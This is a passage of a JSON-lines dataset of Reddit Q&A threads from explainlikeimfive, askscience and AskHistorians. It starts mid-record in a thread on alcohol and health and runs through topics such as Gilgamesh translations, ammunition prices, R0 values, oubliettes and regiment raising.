30 days of my life which I was told I had acute pancreatitis and that I could never drink again or I will be dead in 2-3 weeks. I have not drink any alcohol since June 13 2016. It was easy for me to stop drinking but life is different without alcohol. I\u2019m always tried, my pancreas also separated, I have BP problems, I have been placed on a low carb and low fat diet also have other problems. I prefer just staying at home. I tried going out but when people get drunk. I get irritated when I\u2019m sober because most of the people I know who drink they get loud and someone is always getting into fights. Life is not the same for me but stopping drinking has saved me a lot of money but I am not the same anymore. If anyone have any helpful tips or ideas please PM me.\n", "What happened to eli5? You need a masters degree to understand any of the replies on this sub anymore...", "Buy the book \u201cThis  naked mind\u201d. It explains it all and actually works on your subconscious. You don\u2019t want a drink when you\u2019ve finished. I had a drink, but I almost had to force it. Read it once, heard the audible version, need to read it again!", "Helping my daughter with high school biology and learned that the lysomes in cells work to clean the alcohol out if your cells when you drink. So, when you get drunk you are drunk to the level of your cells. Each teeny tiny individual cell.  ", "Since everyone else is going deep into it, I\u2019ll try to keep it simple.\n\n1) Alcohol is a good solvent. Your cells are incapable of preventing it from entering for the most part, and it damages cell membranes.\n2) alcohol can act like some brain signals, shifting the balance in your body\n3) it\u2019s incredibly hard to filter out and your body essentially has to flush it out of your body\n4) it effects your blood\u2019s chemical parameters, such as oxygen content, pH, etc. causing stress to your entire system", "To add to the comments here: breakdown of alcohol also creates free radicals, toxic byproducts damaging your cell membranes. It is these that \"kill off brain cells\", even though they actually kill brain cell connections (axons and dendrons) and not the cells themselves. Vitamin c is a so called antioxidant, capturing free radicals. I remember reading a study where 1g of vitamin c protected alcoholics enough that their free radicals in their blood did not rise when they drank excessively. ", "My grandmother has been an alcoholic for I wanna say the past 50 years, if not more. Every few days she will binge drink to the point where she knocks on her neighbours door because she thinks she\u2019s having a stroke or something. Her neighbour is an absolute saint. I\u2019m pretty sure she drinks in between these bouts.\n\nI have absolutely no idea how she is still alive, on top of this she is stick thin and only eats maybe once a day. She is also just coming off a heck of a lot of medication and regularly overdoses on sleeping pills. Does anyone have any idea how her body is able to tolerate this kind of abuse?", "Hi this isn\u2019t very well known but alcohol is a known carcinogen that has ties to breast cancer risk:\n\n_URL_0_", "Alcohol causes high blood pressure, cardiovascular disease, type 2 diabetes, and fatty liver disease. Any one of them can kill you."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], ["https://blogs.biomedcentral.com/on-medicine/2016/11/24/alcohol-consumption-stroke/"], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], ["https://www.motherjones.com/politics/2018/04/did-drinking-give-me-breast-cancer/"], []]}
{"q_id": "c6hlew", "title": "The Epic of Gilgamesh was rediscovered in 1853. How did the Victorian sensibilities of the time react to its very frank depictions of sexuality?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/c6hlew/the_epic_of_gilgamesh_was_rediscovered_in_1853/", "answers": {"a_id": ["esbmwo1"], "score": [98], "text": ["A note to my readers: Given the nature of the text in question, there is sexually explicit material in my explanation.\n\nThe Victorians focused much more on the perceived Biblical connections of the Epic of Gilgamesh, and many Victorian-era translations either romanticized or skipped the sexual scenes completely. (I should note that I study the Victorian period, and my knowledge of Assyria, its culture, and its literature is hazy at best.)\n\nIn 1849, British archaeologist Austen Henry Layard and his assistant Hormuzd Rassam started excavating Nineveh. In 1853, Rassam excavated the palace of Ashurbanipal, finding thousands of fired clay tablets gathered by the king. Among them were the broken tablets that contained the Epic of Gilgamesh, but this wouldn't be discovered for decades. 1853 is also notable for being the year Sir Henry Rawlinson succeeded in deciphering cuneiform, using in large part a three-language inscription from Darius the Great known as the Behistun inscription. (An interesting and revealing side-story: Rawlinson describes having to balance ladders on very narrow lips of rock and then stand on the very top rung to copy down the text. When there was a passage the ladders could not reach and none of the British dared climb, Rawlinson did a very Victorian British thing: he hired a Kurdish boy to climb up, gripping with his fingers and toes, and take a rubbing, promising him \"a considerable reward if he succeeded.\") \n\nThe first person to translate a part of the Epic of Gilgamesh was a young British scholar named George Smith. Smith, who had left school at age 14 to work at a printer's, was fascinated by Assyria, and starting in 1860 visited the British Museum to learn all he could. When they noticed his obsession, the museum hired him to piece together the broken tablets, and it was he who first realized that some of the tablets contained the Gilgamesh epic. While working on the tablets, Smith discovered the story of the flood and the ship that ended up on a mountain and made a connection to the Biblical story. In 1872, he gave a talk to the museum in which he associated the flood story with Noah's flood, titling the talk \"The Chaldean History of the Flood.\" In the language used to write Gilgamesh, Akkadian often mixed with the older Sumerian, which Akkadian scribes also learned. A character pronounced one way in Akkadian would be pronounced entirely differently in Sumerian. This was why Smith's translation gave Gilgamesh's name as Izdubar (the latter would be the pronunciation if the symbols were Akkadian). Enkidu became Heabani. Smith argued that Gilgamesh is the hunter-king Nimrod who appears in the Bible. But what about all the sex that would surely have left Victorians outraged? There's no sign of it in Smith's early translation: at this point, he was only interested in Biblical connections. For example, of the whole incident with Ishtar and the monstrous bull, Smith only writes \"and then an animal called 'the divine bull' was subdued.\" He would also describe what he saw as the Assyrian depictions of heaven, hell, and the immortal soul. \n\nBut don't worry. In 1875, Smith published a much fuller version, *The Chaldean Account of Genesis,* which sold well. He purposely left out some of the more explicit scenes, such as Enkidu's (sorry... Heabani's) seduction by the \"temple harlot,\" claiming he did so \"because they were on the one side obscure, and on the other hand appeared hardly adapted for general reading.\" I can't think of a more Victorian dodge than that. There are also several errors in translation: instead of the famous wrestling scene between Gilgamesh and Enkidu, Izdubar wrestles a tiger Heabani brings with him, and Izdubar, not Heabani, is struck down by disease after they kill the giant bull, which makes Heabani's death something of a mystery. (The tiger is a mistranslation from text that had been written across two tablets: the \"Midannu\" beast turns out, when the tablets are connected, to be \"anakumi dannu,\" a boast by Enkidu: \"I alone am mighty.\") Smith also takes stories about Ishtar from other sources, including her descent into the underworld, using other Ishtar depictions to gloss over the defiant and scandalous ways Gilgamesh insults Ishtar as he rebuffs her sexual advances towards him. As you might imagine from Smith's framing, reviewers talked almost exclusively about the Biblical connections of Smith's translation, praising their usefulness in helping better understand Biblical stories.\n\nThe first popular translation was written by the fantastically-named  Leonidas Le Cenci Hamilton, an American, in 1884. His book, *Ishtar and Izdubar, The Epic of Babylon* turns the story into a sweet romance. Hamilton's adaptation is very loose, transforming the poem into couplets that are sometimes tortured into having the right end rhyme. In Hamilton's poem, Heabani chases the \"maiden\" sent to \"entice\" him, who playfully always slips out of his grasp: \"But he the sport enjoys, and her pursues; / But glancing back his arms she doth refuse.  /And thus three days and four of nights she played; / For of Heabani's love she was afraid. / Her joyous company doth him inspire / For Sam-kha, joy, and love, and wild desire. / He was not satisfied unless her form / Remained before him with her endless charm.\" Later, another maiden appears, and Heabani sits wistfully at her feet admiring her: \"And when Heabani saw the rounded form / Of bright Kharim-tu, her voluptuous charm / Drew him to her, and at her feet he sate / With wistful face, resigned to any fate.\" Regarding the scenes with Ishtar, the poem describes that her \"love\" for men and animals withers them away, but is vague on what that entails. Hamilton takes Ishtar's \"descent to Hades\" to return her lover Tammuz to life from a completely different poem (the \"Descent of Innana\"), and the connection to Greek mythology is clear. As for the death of Heabani, the seer receives his death-blow in a fight with dragons: even as Izdubar strikes down the dragon, the beast sinks its fangs into Heabani. After his long mourning for his friend, Izdubar finds sweet love in the arms of a princess, Mua. The story ends with Izdubar preparing to return from paradise to the world of men, making his tragic farewell to Mua, who chooses to remain ignorant of death in paradise rather than to come with him to a world of mortality and woe. In a second volume that was never written, Izdubar was supposed to eventually find immortality and reconcile with Ishtar. Interestingly, given the other translations around this time, Hamilton leaves out the flood completely. Hamilton's version was rendered obsolete almost immediately by more accurate and complete German translations. He was forced to file for bankruptcy, and died of stomach cancer in 1906. I haven't been able to find any contemporary reviews."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "q8z0h", "title": "Cultural Theory Reading Group, Horkheimer and Adorno on the Culture Industry (crosspost from r/CTRG)", "selftext": "There is a [cultural theory reading group](_URL_0_) starting as a spinoff from [r/culturalstudies](_URL_1_). The first reading is Horkheimer and Adorno's 1944 essay on the culture industry. If anyone is interested, come on over. It's a great opportunity to engage with some of really important theories, agree with them or not.\n\nHere's a summary of the reading:\n\n >  Summary and Overview\n\n >  In their seminal 1945 essay, \"The Culture Industry,\" Frankfurt school theorists Theodor Adorno and Max Horkheimer use the Marxist idea of the alientation of labor to draw parallels to the condition of consumers in a capitalist society.   Moving through nearly all aspects of the popular culture of their time--movies, radio, music--they argue that the logic of modern capitalism deskills labor and concurrently dumbs down culture.  The result is a world in which a mass public has trouble distinguishing between the real world and the illusory world created by the industry of culture.\n\n >  Like the other theorists of the Frankfurt school, Adorno and Horkheimer critique society as being in a state of false consciousness, a consciousness which hides the reality of domination and oppression of the masses under capitalism.  The role of the media in this framework is to offer to consumers propaganda which lulls them into accepting their conditions.\n\n >  One complaint about the culture industry critique is that, while it allows for consumers to come to a state of understanding of the \"reality\" of society, it does not seem to account for resistance from within the forms and institutions of popular consumer culture.  Another, related, complaint is that the authors' emphasis on homogeneity and sameness cannot account for the current historical moment, when ever-increasing diversity and market segmentation seem to characterize our culture industry. ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/q8z0h/cultural_theory_reading_group_horkheimer_and/", "answers": {"a_id": ["c3wczwq"], "score": [2], "text": ["Thanks for posting. I just finished \"The Culture Industry\" over break. I'll keep an eye on the group."]}, "title_urls": [], "selftext_urls": ["http://www.reddit.com/r/CTRG/comments/q690q/discussion_theodor_w_adorno_the_culture_industry/", "http://www.reddit.com/r/culturalstudies/"], "answers_urls": [[]]}
{"q_id": "5qxzh1", "title": "Would bananas keep longer in an air tight container?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/5qxzh1/would_bananas_keep_longer_in_an_air_tight/", "answers": {"a_id": ["dd40c0w", "ddbwr0x"], "score": [5, 2], "text": ["Likely not.  Bananas produce ethylene gas when ripening, which in turn speeds the ripening process.  This is why you can place a ripe banana in a sealed bag with another unripe fruit to speed the ripening process.\n\nHowever ripening is slowed without oxygen, so if the container is sufficiently small the oxygen might be expended quickly and the process slow.", "I couldn't find data specifically for bananas, but in other fruits it could be shown that anoxic conditions, i.e. no oxygen in the surrounding, stops the ripening process and starts fermentation. So, do this long enough and you will get an unripe banana that slightly tastes of alcohol and other fermentation products. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "25k4vh", "title": "why did 22lr prices skyrocket and when will we see prices go back to normal?", "selftext": "Edit: 22lr stands for 22 Long Rifle. It's a bullet caliber.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/25k4vh/eli5_why_did_22lr_prices_skyrocket_and_when_will/", "answers": {"a_id": ["chhyatg", "chhyb2h", "chhz44q", "chi02jn", "chi0zpr"], "score": [8, 12, 2, 8, 2], "text": ["The price skyrocketed in NY because of the Safe Act. Many gun enthusiasts believed that soon they'd be outlawing the round totally and thus they all went out and bought out the stores. People went out to buy the round for casual shooting, noticed it was in low supply, and bought a shit ton when they could further decreasing the supply. ", "As you no doubt noticed, there was a recent run on .22 ammo (and other calibers\u2014plain ol' 9mm was hard to come by) in the wake of Sandy Hook and all the proposed gun control legislation. People wanted to buy it up while they could, which in turn drove the price up. .22 was hit pretty hard, since it's the single-most (or one of the most) popular calibers in both rifles and handguns (on the consumer market anyway). So that massive spike in demand caused a spike in the price.\n\nThe supplies are coming back to normal, though, as are the prices. We should see \"normal\" prices within a year (unless there's another scare). I say this based on how a similar scare shook out about 4 years back.", "Pessimistic answer, because there are twits that hoard ammo and buy up all they can when it hits the shelf, then resell it for a profit.\n\n When will it get back to normal,  never. \n\nEdit :forgot to answer the first question. ", "There are three main forces that are driving prices. The shooters,  the hoarders, and the gougers. \n\nThe shooters are the 18-35 year olds. Who shoot about ten times as much as the older shooters. Where the older shooters might take three or four boxes of ammo to shoot, a younger shooter might take two+ bricks. The Reps I have heard from mention it is the video game mentally of spray all day and all the soldiers that are coming back after toting thirty round mags. \n\nThe hoarders are the old guys that already have five thousand rounds, but because they think that ammo may run dry have to buy more anytime they see it. This group seams to be getting saturated now and are now tapering off. \n\nThe last group are the good 'ol capitalists that go around and buy every bit they can. Then sell it for insane prices on the internet or gun shows. I had one guy mention to me that he hits all the walliworlds and sport shops every morning and was bragging about tripling his money. \n\nFrom what I have heard from the Reps, it should be a lot better in a few months. Most manufacturers have increased production and collectively are pushing out about a million rounds of .22 a day. ", "Up in Alaska we cant even find an 22lr. No idea where it all went"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "10fj71", "title": "what happened to the nfl referees and why did the nfl have to bring in new refs?", "selftext": "I know these new guys are trying as hard as they can. Its a demanding job and all, but they're ruining the game. What happened?!", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/10fj71/what_happened_to_the_nfl_referees_and_why_did_the/", "answers": {"a_id": ["c6d18ur"], "score": [8], "text": ["The NFL locked out the referee union, similar to what happened with the players before last season.  The entire thing is about the NFL trying to squeeze the refs on pension/compensation/etc.    "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3ekuwj", "title": "Why did Portugal not declare war on Japan when Japan invaded Portuguese East Timor in the 2nd World War", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/3ekuwj/why_did_portugal_not_declare_war_on_japan_when/", "answers": {"a_id": ["ctg1vr6"], "score": [15], "text": ["Because Portugal did not have the capacity nor the inclination to fight Japan.\n\nThe Portuguese East Timor garrison consisted of an understrength colonial battalion of one colonial company, a very small militia force and a mounted border police unit, a grand total of 282 men with 4 light and 6 heavy machine guns and no artillery at all.\n\nEast Timor had already been invaded, under local Portuguese protest, by Australian forces who recognised that the island could not be held by only defending the western (Dutch) part on the 17th of December 1941.\n\nWhen Japan invaded on the 19th of February 1942, there was a convoy heading for East Timor carrying two companies of Mozambique colonial troops and artillery, but this force was not allowed passage by the Japanese, and the Portuguese troops which had intended to replace the Austrialian and Dutch East Indees troops - a force of about 800 men with a battery of artillery had to turn around and head back for Portuguese Mozambique."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "45rnlv", "title": "why does the difference between 70 and 80 degrees fahrenheit feel greater than -10 and 0?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/45rnlv/eli5_why_does_the_difference_between_70_and_80/", "answers": {"a_id": ["czzszxj"], "score": [16], "text": ["It has to do with relative differences.\n\nLet's imagine you're in a car, and currently you're parked (i.e. velocity is zero). Great. Now really hit the gas and accelerate to, say, 10mph. Wow! You're really moving now! You can easily tell the difference by looking around; your surroundings are moving a lot more than they were a moment ago when you were stationary, huh?\n\nThe effect becomes more dramatic as you keep accelerating, _but only up to a point!_ 20mph is clearly faster than 10mph, and 30mph is clearly greater than 20, right?\n\nNow go on the freeway. In my state you'll probably be cruising at around 70mph or so \u2014 pretty quick compared to just driving on the streets! If we imagine the freeway is empty and you accelerate to, say, 75mph, you aren't going to notice a whole lot of difference. Yeah, you're moving quicker, but your surroundings practically look to be moving at about the same rate. The faster you're going, the more you have to increase your velocity to have a tangible effect on your perception of your surroundings.\n\n---\n\nIt's the same with temperature. You probably feel most comfortable somewhere around 70\u00b0 (which was when you were parked in the car analogy). If you increase to 80\u00b0 or decrease to 60\u00b0, you're at the extremes of your \"comfort zone\". Once you're outside that zone \u2014 once you've gotten on the freeway \u2014 the small differences just aren't as noticeable."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3dou0z", "title": "What happens when two perfectly smooth surfaces meet?", "selftext": "Imagine you have two surfaces, perfectly smooth, flat, rigid and parallel, that slowly move together. \nWhat happens as they meet? And what happens when you try to take them apart again?\n\nI realize this question can be approached from multiple fields, like physics, mathematics and engineering, but I appreciate any input on the matter. (But I'm guessing a purely mathematical approach would be fairly uneventful)\n\n\nFurther thoughts.\n\nWill surface area affect the outcome(given it is not a single point)? Will the surfaces experience friction if moved horizontaly?\nIf the surfaces meet in an atmosphere, would the air be able to escape completely? Would the surfaces be able to be separated again? What if they're in a vacuum? How will different materials/elements react?\n\nAnd while we're at it, how the heck does cold welding work?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/3dou0z/what_happens_when_two_perfectly_smooth_surfaces/", "answers": {"a_id": ["ct7y1rc"], "score": [3], "text": ["In reality, surfaces aren't perfectly flat because objects are made of discrete atoms, so there is bumpyness at the angstrom level. If you have two \"atomically flat\" surfaces come together, they can merge in what is called [cold welding](_URL_0_). However, surfaces will rapidly form an oxide layer when exposed to Earth's atmosphere that will prevent this."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Cold_welding"]]}
{"q_id": "1rub51", "title": "On the newly discovered cat species, and naming conventions: how are scientific names decided?", "selftext": "From the [article](_URL_0_) \n >  Though the northeastern population is rarer than the southern population, naming tradition requires that the northeastern cats will retain the name L. tigrinus.\n\nWhat is the naming convention they speak of here? When a species gets subdivided into 2 species, does the northernmost always keep the original name?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1rub51/on_the_newly_discovered_cat_species_and_naming/", "answers": {"a_id": ["cdqyq61", "cdqz7sr", "cdr434t"], "score": [3, 5, 3], "text": ["Are we talking the scientific name or the common name?  Either way, i know that in horticulture the discovering person gets the rights and it can vary, it can be named after the location it was found, its characteristics, the discoverers name, or a combination of those factors.  Seems that as long as the scientific name is in latin noone can say boo about it lol.", "To answer this question you need to read the [actual research article](_URL_0_), and not the press release.  On the bottom of page 4 is this sentence:\n >  These results strongly indicate the absence of current\n >  or recent gene flow between these units, supporting the\n >  recognition of\n >  L. tigrinus\n >  populations from NE and SSE Brazil\n >  as distinct biological species:\n >  L. tigrinus\n >  (Schreber, 1775) for\n >  NE Brazil and\n >  L. guttulus\n >  (Hensel, 1872) for SSE Brazil (based\n >  on available names; see the \u2018\u2018Taxonomic Considerations\u2019\u2019\n >  section in the\n >  Supplemental Information\n >  ).\n\nFor some reason my log-in isn't working, so I can't read the supplemental information, but from reading the research article it is clear that previous scientists have suggested that there might be more than one species, and already given names to those populations.  So these older designations are again being put forth for use.", "Each known species has been described and given a name based on the [holotype](_URL_1_). If a species is split in two, then the holotype-species keeps the original name.\n\nThere was an interesting read recently about the holotype for the Asian Elephant, as described by Linneaus himself, which turned out to be an African Elephant. [Here](_URL_0_)"]}, "title_urls": [], "selftext_urls": ["http://www.iflscience.com/plants-and-animals/new-species-cat-discovered-south-america"], "answers_urls": [[], ["http://ac.els-cdn.com/S0960982213013213/1-s2.0-S0960982213013213-main.pdf?_tid=ab3f46d4-5aa6-11e3-9b9b-00000aab0f6b&amp;acdnat=1385915943_75b98f2a77f52b362534ebd9abb8bb58"], ["http://www.huffingtonpost.com/2013/11/04/linneaus-asian-elephant-type-specimen-species-video_n_4212080.html", "http://en.wikipedia.org/wiki/Holotype"]]}
{"q_id": "g05zbg", "title": "How do scientists determine r values for infectious diseases?", "selftext": "It seems like the r value should vary wildly depending on the environment and population the disease is spreading in, so what does it mean to say the Influenza has an r value of 3 or covid has an r value of 4?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/g05zbg/how_do_scientists_determine_r_values_for/", "answers": {"a_id": ["fn8bo1k"], "score": [7], "text": ["People throw around R0 values, but usually use them incorrectly. The technical definition of R0 is *\u201cthe average number of secondary infections produced when one infected individual is introduced into a host population where everyone is susceptible*\u201d (Anderson R, May R. Infectious Diseases of Humans. Oxford: Oxford University Press; 1992). So you\u2019ll see people saying something like \u201cthe R0 will be lower once people are immune\u201d, but that\u2019s misusing the term - once people are immune, there\u2019s no R0 any more. \n\nIt\u2019s true that the value will be different depending on environment and population, etc. You say the \u201cvalue should vary wildly\u201d, and of course it does. That\u2019s why (1) there are different R0 values estimated by different groups.  And (2) that\u2019s why the values are always given as a range.  For example, although media quoted a [recent R0 estimate](_URL_0_) as \u201c5.7\u201d, the actual value the authors gave was \n\n > a median R0 value of 5.7 (95% CI **3.8\u20138.9**)\n\nIn other words, they would be fairly confident that the R0 is somewhere between 3.8 and 8.9, which is a pretty wide range, and 5.7 is a reasonably probable value from that. \n\nIf you want to see more explanation of how they calculated the number, that paper ([High Contagiousness and Rapid Spread of Severe Acute Respiratory Syndrome Coronavirus 2](_URL_0_)) is worth a read - they explain their assumptions, discuss how different assumptions would change their estimates, and review some of the implications, in a fairly readable way."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://wwwnc.cdc.gov/eid/article/26/7/20-0282_article"]]}
{"q_id": "4zgjnu", "title": "How are electrons manipulated and maintained for experiments like in quantum entanglement?", "selftext": "I'm trying to understand exactly how these experiments work when using electrons.\n\n\n* How do they isolate a single electron? \n* How do they move them around? \n* How do you get two electron to vibrate in unison?\n* Where are they kept after they are unified?\n\n\n", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/4zgjnu/how_are_electrons_manipulated_and_maintained_for/", "answers": {"a_id": ["d6vrpzx", "d6vv6wx"], "score": [4, 3], "text": ["Great question ! I have always wanted to know more about these experiments, quantum physics are really fascinating to me.\n\nIf I may, I would like to add a question: what is used to 'shoot' electrons (as in the double slit experiment) ? \n\nEdit: typo", "Hi, although I'm not directly in that field I thought I'd comment a bit. Hopefully an expert will add to my reply. \n\nFirst of all we must establish the difference between experiments using photons and electrons. Most of these quantum entanglement experiments/Bell's inequality experiments are done with photons. \n\nThis ties in to your third question, generating them. What you do is that you create to photons at the same time, which are coupled. For example you shoot a single photon (from a laser) on a beam splitter. The single photon will split into two waves, which are obviously coupled. Another way, which I'm not sure is commonly used, is decay processes. Gamma radiation often comes in pairs of photons, which have opposite momentum. These are also coupled. \n\nSingle electrons are mostly made on quantum dots. I'll try to add more later. Sorry for answering only 1 question for now. \n\nEdit 1: moving photons around is rather obvious, it's just light. Moving electrons is done by carefully tuning electric fields which trap an electron on a quantum dot. Tuning them can give the electron a slight nudge. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1rzr4k", "title": "Richard II of England married Isabella of France when she was six years old. Did this cause outrage? At what age would their relationship have become physical?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1rzr4k/richard_ii_of_england_married_isabella_of_france/", "answers": {"a_id": ["cdsjx2v", "cdsjypg", "cdt43od"], "score": [278, 434, 3], "text": ["I don't have the book on me, but I recall from Barbara Tuchmann's *A Distant Mirror* that the relationship was not to be consummated until Isabella was twelve. I can't comment on the outrage based on her age, though I know it was seen as controversial for other reasons (primarily for attempting to end a war that some powerful nobles still supported).", "It would not have caused outrage, it was quite common, at least for the nobility, to marry at a very young age.\nAs in many cases the marriage was a political thing, a way to connect families, power, land, etc.\n\"Canon law, however, decreed that such marriages should not be consummated until both parties were of age, at least twelve for a girl and fourteen for a boy.\"\n\nRichard II however died 4 years after the marriage so the marriage was never consummated.\n\n_URL_0_", "It's important to realize that the principle purpose of marriage in those days was more about property and family bonds than love and sex.\n\nThe purpose of Richard's marriage to Isabelle was to cement an alliance with the French royal family and calm relations between the two countries.\n\nEven commoners of the time expected dowries and the like when women were married off by their parents. Wives and husbands rarely had an actual hand in choosing their spouse."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.history.ac.uk/richardII/isabelle.html"], []]}
{"q_id": "40m4pu", "title": "Were oubliettes real? In what circumstances were they used?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/40m4pu/were_oubliettes_real_in_what_circumstances_were/", "answers": {"a_id": ["cyv8bke", "cyvm0gj"], "score": [5, 4], "text": ["Could you clarify what you mean when you say \"oubliette\"? To me an oubliette is just a french word for a prison dungeon which, while a lot more rare than people tend to think, were definitely real. \n\nHowever there is also special prison cell kind of \"oubliette\" which was allegedly some kind of special cell were people were meant to be locked up forever and forgotten. This kind is featured in a lot of works of fantasy but to my knowledge never actually existed.", "[Here's](_URL_0_) an account of oubliettes and other fun French durances vile. There seem to be variations, from places where you were thrown in and forgotten and died slowly, to places that had waist-deep water, where you were thrown and forgotten and died pretty soon. The general impression is that Louis XI took great delight in seeing his opponents tortured and generally made to feel unwelcome, in line with the theory of justice as revenge upon the criminal.\n\n However , I would not take Arthur Griffiths as a  reliable source.  The Wikipedia bio of him, ( taken from the Dictionary of National Biography) says \"His later accounts of crime and punishment in England were sensational and grotesque,  designed to appeal to the baser fascinations of his Victorian readers\" and this has plenty of that... but it's at least a collection of what seems to be the legends.  \n Violet le Duc and others questioned the great number of \"oubliettes\" found in castles , pointing out that many of them probably were simply cesspits and latines.  But he did conclude that they existed in the Bastille, and in Chinon and Pierrefond castles. [Here's](_URL_1_) the article in French discussing it...pointing out that people tended to see bones from an old kitchen as evidence of it being a torture chamber, etc."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.gutenberg.org/ebooks/50520", "https://fr.wikisource.org/wiki/Dictionnaire_raisonn%C3%A9_de_l%E2%80%99architecture_fran%C3%A7aise_du_XIe_au_XVIe_si%C3%A8cle/Oubliettes"]]}
{"q_id": "ab89jd", "title": "why do trucks and some other vehicles kick up so much water on wet roads?", "selftext": "Whenever driving in the rain I always wonder this, but never found an answer. I would assume it\u2019s due to the sheer amount of weight but that strikes me as odd since SUVs seem like they would be plenty heavy enough to kick up water and don\u2019t. There are also other random cars that seem to kick up water even if they are sedans. Is it due to terrible tire patterns or what?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/ab89jd/eli5_why_do_trucks_and_some_other_vehicles_kick/", "answers": {"a_id": ["ecy7hjp", "ecy8hnc", "ecy8ld7", "ecyffg7"], "score": [5, 3, 3, 2], "text": ["I think it just has to do with how far into the puddles cars are going. Theoretically, larger tires will create larger waves. But not all vehicles are driving into puddles. Speed also affects the waves cars make. ", "I believe it has more to do with the size of tyre, quantity of tyres and depth of tread.\n\nWater on a road surface is displaced by the tyre tread. The more tread, the more water is displaced", " >  Is it due to terrible tire patterns or what?\n\nIt is due to tire pattern, or more specifically the tread of the tire, and it isn't \"terrible\" just different. The pattern is the number and shape of the grooves and blocks on a tire. Sedans for example are going to spend all their time on smooth roads and so tend to have as thin and shallow grooves as will allow water to move out of the way of the tire surface and prevent hydroplaning in the rain. SUVs and trucks however may need to travel over more challenging terrain and wider, deeper grooves are helpful in grabbing onto uneven ground in those cases.\n\nBroadly speaking an off road or semi-off road tire is going to be a rougher surface than a road tire, and sedans are much more likely to be equipped with road tires while trucks and SUVs would generally trend toward the rougher tires to complement their greater ground clearance. Water sticks to the rougher surfaces better though and this can mean more water kicked up in wet conditions.", "It has to do with the airflow around the back of the vehicle the most. \n\nA vehicle that's low to the ground and/or has a  lower backend causes the wind around and under the car gets directed back down towards the road and is less turbulent. \n\nWhere with a semi-truck or boxier/taller vehicle the air around and over the vehicle abruptly ends tends to be turbulant, basically meaning It swirls in the air off the rear of the vehicle.. And all the water it picked up is held up longer because of this. Long enough for a vehicle behind them to notice at least. \n\nSame with vehicles that are off the ground, the air under and around the rear axle are more turbulant and allows it to hold longer in air as it is blown around. \n\nMy  suv for instance, while driving down the road, will need the rear windshield wiper on, because the air over the vehicle throws water back onto the rear windshield due to the shape of the car. Where my last vehicle was a tiny car, the angle of the rear windshield meant the air over the car easily kept flowing past the windshield and behind the car. And since it was lower to the ground, it didn't allow as much turbulant air to kick up water from the road as it went by.\n\nWeight, tires, speed, ect all play a part in this as well, but how the air (with all the water pulled up with it) leaves the back of the vehicle, makes the most impact on how much hits the vehicle behind them. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "40oo2l", "title": "What does it mean to \"raise a regiment\"", "selftext": "Consider _URL_0_ ; \" Ione of the last regiments ... to be created and raised by a private individual\"\n\nWhat does that mean? Would he have paid as far as the ship? What is the command structure? Was their a land-based letter of marque? ", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/40oo2l/what_does_it_mean_to_raise_a_regiment/", "answers": {"a_id": ["cyw91uf"], "score": [3], "text": ["Hey! To 'raise a regiment' is to basically arm, equip, clothe, feed etc. a fighting force out of pocket. I'm involved in the Royal Canadian Army Cadets and the 49th Loyal Edmonton Regiment my Corps is affiliated with had been made by a very rich man named Lieutenant Col. Billy Griesbach, they named a base after him but it got renamed I think. Anyway, it's to raise and equip your own force, when the threat of the Central Powers grew extreme, and with the outbreak of WW1, the Dominion of Canada allowed and encouraged the raising of units. \n\nI doubt he would have paid as far as the ship, unless there's some sort of naval/transportation unit attached to the battalion, plus that's the navy's department.\n\nThe command structure largely stays the same, except the Lieutenant Colonel/CO/Guy who raised the unit is always kept as a Lieutenant Colonel, typically the highest rank at battalion level.\n\nAt that point in history, there was not, as rules I believe were in place against spoils of war, at least somewhat. Plus a letter of marque is typically naval, so I'd have to say no.\n\nEdit: Totally skipped over the questions, sorry."]}, "title_urls": [], "selftext_urls": ["https://en.wikipedia.org/wiki/Lord_Strathcona%27s_Horse_(Royal_Canadians)"], "answers_urls": [[]]}
